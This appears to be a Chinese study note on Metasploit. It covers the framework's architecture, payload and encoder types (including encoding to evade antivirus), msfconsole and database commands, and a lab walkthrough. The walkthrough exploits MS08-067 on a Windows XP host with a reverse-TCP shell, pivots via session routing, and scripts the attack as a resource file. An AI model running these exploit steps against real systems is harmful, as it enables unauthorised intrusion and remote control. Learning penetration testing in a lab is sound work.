目录标题
学习笔记
https://blog.csdn.net/kevinhanser/article/details/79940686
一、渗透测试者的困扰
- 需要掌握数百个工具软件,上千个命令参数,实在记不住
- 出现的漏洞 PoC/EXP 有不同的运行环境要求,准备工作繁琐
- 大部分时间都在学习不同工具的使用户环境,如果能统一就好了
- Metasploit能解决以上问题吗(一定程度
二、Metasploit 简介
-
目前最流行、最强大、最具扩展性的渗透测试平台软件
-
基于 Metasploit 进行渗透测试和漏洞分析的流程和方法
-
2003 年由 HD More 发布第一版,2007 年用 ruby 语言编写
-
框架继承了渗透测试标准(PETS)标准
-
一定程度上统一了渗透测试研究的工作环境
-
新的攻击代码可以比较容易的加入框架
-
开发活跃版本更新频繁
-
早期版本基于社区力量维护,被 Rapid 7 收购后大枣出其商业版本产品
-
目前分化为四个版本,社区版依然十分活跃
-
HD More说:为 Metasploit 写书是种自虐
-
Metasploit 默认集成在 kali linux 中
-
使用 postgresql 数据库存储数据
-
早期版本需要先启动数据库再启动 msf
三、Metasploit 架构
Rex
- 基本功能库,用于完成日常基本任务,无需人工手动编码实现
- 处理 socket 连接诶访问、协议应答(http/SSL/SMB 等)
- 编码转换(XOR、Base64、Unicode)
Msf::Core
- 提供 Metasploit的核心基本 API,是框架的核心能力实现库
Msf::Base
- 提供友好的的 API 接口,便于模块调用的库
Plugin 插件
- 连接和调用外部扩展功能和系统
模块
/usr/share/metasploit-framework/modules/
技术功能模块(不是流程模块)
Exploits:
- 利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
Payload:
成功 exploit 之后,真正在目标系统执行的代码或指令
- shellcode 或系统命令
- 三种 payload:/usr/share/metasploit-
framework/modules/payloads/
Single:all-in-one
Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
stages:利用 stager建立的连接下载的后续payload
stager、stages 都有多种类型,适用于不同场景
shellcode 是 payload的一种,由于期间里正向/反向 shell 而得名
技术功能模块(不是流程模块)
Auxiliary:
执行信息收集、枚举、指纹探测、扫描等功能的辅助模块(没有 payload 的 exploit 模块)
Encoders:
对 payload 进行加密,躲避 AV 检查的模块
Nops:
提高 paylaod 稳定性及维持大小
四、 基本使用
1. 使用前先升级:msfupdate
- msfcli 使用接口,现在已经更新 msfconsole -x
- msfconsole 使用接口
最流行的用户接口
几乎可以使用全部 msf 功能
控制台命令支持 TAB 自动补全
支持外部命令的执行(系统命令等)
[sudo] password for kali-2:
┌──(root💀kali)-[/home/kali-2]
└─# msfconsole
######## #
################# #
###################### #
######################### #
############################
##############################
###############################
###############################
##############################
# ######## #
## ### #### ##
### ###
#### ###
#### ########## ####
####################### ####
#################### ####
################## ####
############ ##
######## ###
######### #####
############ ######
######## #########
##### ########
### #########
###### ############
#######################
# # ### # # ##
########################
## ## ## ##
https://metasploit.com
=[ metasploit v6.0.45-dev ]
+ -- --=[ 2134 exploits - 1139 auxiliary - 364 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]
Metasploit tip: View advanced module options with
advanced
msf6 >
2. 点击鼠标启动
通用选项:
-E, --environment ENVIRONMENT 设置Rails环境,默认为RAIL_ENV环境变量或'生产'
数据库选项:
-M, --migration-path DIRECTORY 指定包含其他数据库迁移的目录
-n, --no-database 禁用数据库支持
-y, --yaml PATH 指定一个包含数据库设置的YAML文件
框架选项:
-c FILE 加载指定的配置文件
-v, -V, --version 显示版本
模块选项:
--defer-module-loads 除非明确询问,否则推迟模块加载
-m, --module-path DIRECTORY 加载一个额外的模块路径
控制台选项:
-a, --ask 在退出Metasploit之前询问或接受'退出-y'
-H, --history-file FILE 将命令历史记录保存到指定的文件
-L, --real-readline 使用系统Readline库而不是RbReadline
-o, --output FILE 输出到指定的文件
-p, --plugin PLUGIN 在启动时加载插件
-q, --quiet 不要在启动时显示 banner 信息
-r, --resource FILE 执行指定的资源文件( - 用于stdin)
-x, --execute-command COMMAND 执行指定的控制台命令(使用;用于倍数)
-h, --help 显示此消息
3. help
root@kali:~# msfconsole
msf > help
核心命令
=============
命令 描述
------- -----------
? 帮助菜单
banner 显示一个很棒的metasploit横幅
cd 更改当前的工作目录
color 切换高亮显示颜色
connect 连接与主机通信、msf下的nc
exit 退出退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep Grep另一个命令的输出
help 帮助菜单
history 历史显示命令历史
irb 进入irb脚本模式
load 加载一个框架插件
quit 退出控制台
route 路由通过会话路由流量
save 保存保存活动的数据存储
sessions 会话转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为一个值
setg 将全局变量设置为一个值
sleep 睡眠在指定的秒数内不执行任何操作
spool 将控制台输出写入文件以及屏幕
threads 线程查看和操作后台线程
unload 卸载卸载框架插件
unset 取消设置取消设置一个或多个特定于上下文的变量
unsetg 取消设置取消设置一个或多个全局变量
version 版本显示框架和控制台库版本号
模块命令
===============
命令 描述
------- -----------
advanced 高级显示一个或多个模块的高级选项
back 返回从当前上下文返回
edit 编辑使用首选编辑器编辑当前模块或文件
info 显示有关一个或多个模块的信息
loadpath 加载路径搜索并加载路径中的模块
options 选项显示全局选项或一个或多个模块
popm 将最新的模块从堆栈弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 重新加载所有定义的模块路径中的所有模块
reload_lib 从指定路径加载库文件
search 搜索搜索模块名称和说明
show 显示给定类型的模块或所有模块
use 使用按名称选择模块
工作命令
============
命令 描述
------- -----------
handler 处理程序作为作业启动负载处理程序
jobs 作业显示和管理作业
kill 杀死一份工作
rename_job 重命名作业
资源脚本命令
========================
命令 描述
------- -----------
makerc 保存从开始到文件输入的命令
resource 运行存储在文件中的命令
数据库后端命令
=========================
命令 描述
------- -----------
db_connect 连接到现有的数据库
db_disconnect 断开当前数据库实例
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有注释
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
凭证后端命令
============================
命令 描述
------- -----------
creds 列出数据库中的所有凭据(密码)
3.1 ms>help show
[*]“show” 命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options
[*]其他特定于模块的参数是:missing, advanced, evasion, targets, actions
3.2 msf>help search
用法: search [keywords]
Keywords:
app : 客户端或服务器攻击的模块
author : 本作者编写的模块
bid : 具有匹配的Bugtraq ID的模块
cve : 具有匹配CVE ID的模块
edb : 具有匹配的Exploit-DB ID的模块
name : 具有匹配描述性名称的模块
platform : 影响这个平台的模块
ref : 具有匹配参考的模块
type : 特定类型的模块(exploit,auxiliary或post)
msf > search ms08-067
msf > search name:mysql / type:aux /author:aaron # 可多条件同时搜索
4. 模块内命令
msf > search ms09_001_write
msf > use auxiliary/dos/windows/smb/ms09_001_write
msf auxiliary(dos/windows/smb/ms09_001_write) > info
[*]其他特定于模块的参数是:missing, advanced, evasion, targets, actions
msf auxiliary(dos/windows/smb/ms09_001_write) > show missing
msf auxiliary(dos/windows/smb/ms09_001_write) > show advanced
msf auxiliary(dos/windows/smb/ms09_001_write) > show targets
msf auxiliary(dos/windows/smb/ms09_001_write) > help edit
用法:编辑[file / to / edit.rb]
使用编辑当前活动模块或本地文件。
如果指定了文件路径,它将在编辑后自动重新加载。
否则,您可以使用“重新加载”或“重新运行”来重新加载活动模块。
msf auxiliary(dos/windows/smb/ms09_001_write) > edit
5. 数据库操作
msf > help db_connect
[*] Usage: db_connect <user:pass>@<host:port>/<database>
[*] OR: db_connect -y [path/to/database.yml]
[*] Examples:
[*] db_connect user@metasploit3
[*] db_connect user:pass@192.168.0.2/metasploit3
[*] db_connect user:pass@192.168.0.2:1500/metasploit3
msf > help db_import
Usage: db_import <filename> [file2...]
Filenames can be globs like *.xml, or **/*.xml which will search recursively
msf > help db_export
Usage:
db_export -f <format> [filename]
Format can be one of: xml, pwdump
db_status
启动数据库
非常疑惑,解决无效——要init
msfdb init # initialize the database
db_nmap
db_nmap 1.1.1.1
# 扫描后会存在数据库里
hosts #
hosts 1.1.1.1 # 查看指定主机IP
hosts -u # 只查看存活的
hosts -c address # 只查看address这列的
hosts -S 98.131 # 搜索含有98.131字符串的
services # 查看协议
services -p 445 # 开放端口是445的
services -c port,state # 只显示这两列
services -c port,state -p 1-200 # 1-200之间端口
search
6. 控制台命令
set
unset
setg # global 设置全局
unsetg
save
run
exploit # 执行当前模块
jobs
sessions
route -h # 指定session路由流量
irb # 开发的接口
resource # 指定资源文件
load
类似安装插件
load openvas
# 连外部的扫描器
loadpath
利用ms08-067漏洞远程控制
XP——192.168.98.131
利用ms08-067漏洞远程控制131
将playload放在被攻击的主机上执行
结果反弹回kali
search ms08-067
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.98.131
show target
set target 34 # 指定语言版本
show playloads
set payload windows/shell/reverse_tcp # 目标机上回连到kali
set lhost 192.168.98.161
show options
exploit
show options
exploit # 前台执行,直接进入shell
exploit -j # 后台执行,即使拿到shell,也不进入shell
sessions -i # 交互
shutdown -r
shutdown -a # 撤销
我也不知道为什么要对应set target 34 简体中文
route
通过指定session号来路由
将已经控制的机器所在的网关指定 session
则下一步可以通过这个session进一步控制这个网段的其他机器
resource
search ms08-067
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST 192.168.98.132
set LHOST 192.168.98.161
set LPORT 3333
set target 34
# 每攻击一次,都要重复设置一次
=====================
# vi 一个资源解决
vi r.rc
:
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.98.132
set LHOST 192.168.98.161
set LPORT 3333
set target 34
exploit
========================
back
resource r.rc
msfconsole -r r.rc